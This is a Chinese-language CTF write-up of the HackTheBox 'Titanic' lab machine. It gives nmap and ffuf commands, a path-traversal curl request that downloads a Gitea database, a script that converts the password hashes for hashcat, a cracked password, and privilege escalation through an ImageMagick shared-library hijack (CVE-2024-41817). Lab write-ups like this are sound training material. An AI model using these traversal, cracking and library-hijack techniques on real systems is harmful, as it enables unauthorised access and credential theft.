信息收集
nmap --min-rate 10000 -p- 10.10.11.55
扫描全端口

详细扫描
nmap -sT -sC -sV -O 10.10.11.55

添加下映射然后访问。
看下服务端

使用的是Werkzeug/3.0.3 Python/3.10.12,这个岸版本是存在cve的CVE-2024-49766/CVE-2024-49767,但是好像并不适用这里。抓包看看

好像页面也就这里可以提交然后下载一个json文件就是自己填的内容抓这个下载的包好像可以任意文件下载

子域名爆破发现了一个域名
ffuf -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-20000.txt -u http://titanic.htb/ -H "Host:FUZZ.titanic.htb" -fc 301
发现一个子域名 dev.tiantic.htb

找到俩配置文件


漏洞利用
https://docs.gitea.com/zh-cn/next/administration/config-cheat-sheet
结合刚刚发现的任意文件下载,去下载子域名的敏感文件

但是这里用的是docker环境
https://docs.gitea.com/zh-cn/next/installation/install-with-docker#%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F

结合上面的docker配置文件去下载这个敏感文件

找到一个数据库路径去下载看看
url http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db -o gitea.db

这样看不好看学到一手显示列名 .headers on然后在看

但是这样好像没法用hashcat爆破得把pbkdf 的hash改成符合hashcat爆破的格式,参考其他师傅的文章
1 | sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64) salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64) name=$(echo $data | cut -d'|' -f 3) echo "${name}:sha256:50000:${salt}:${digest}" done | tee gitea.hashes |
使用以上脚本转换成符合hashcat爆破的格式
1 | administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY= developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= Nagar:sha256:50000:jYadp3JXkz0GzadV63zmAA==:tF7VBXAhxIEaq13YgKDvT/5705o0oswfaorNLnYTzrziQuJ0ZoEEEJPs9S4IJs90iUY= biba:sha256:50000:QnFYiOozoqewByNi/wZZ0Q==:x/BT8UAuOK9WPW1l6A1p0gNtEFKSIPXDji1pCjDBaFYssJmrImwZLEDtnA3auhRtCR4= xxs:sha256:50000:pFevdlMocglgnOtDlkNE1w==:oiBW7BJh7UNBLJgsKnOayOWVBMCpyFIlllKr6GyScbPyZoMgCgLlFR/lWaXPAMY7ZqE= |
爆破出密码developer:25282528
提权
find / -writable -type d 2>/dev/null

利用点在这里CVE-2024-41817
https://imagemagick.org/index.php
它在执行 ImageMagick
时通过在当前工作目录中加载恶意共享库来利用任意代码执行
先切换到/opt/app/static/assets/images/
目录下
创建一个共享库,复制/root/root.txt
文件并更改其权限
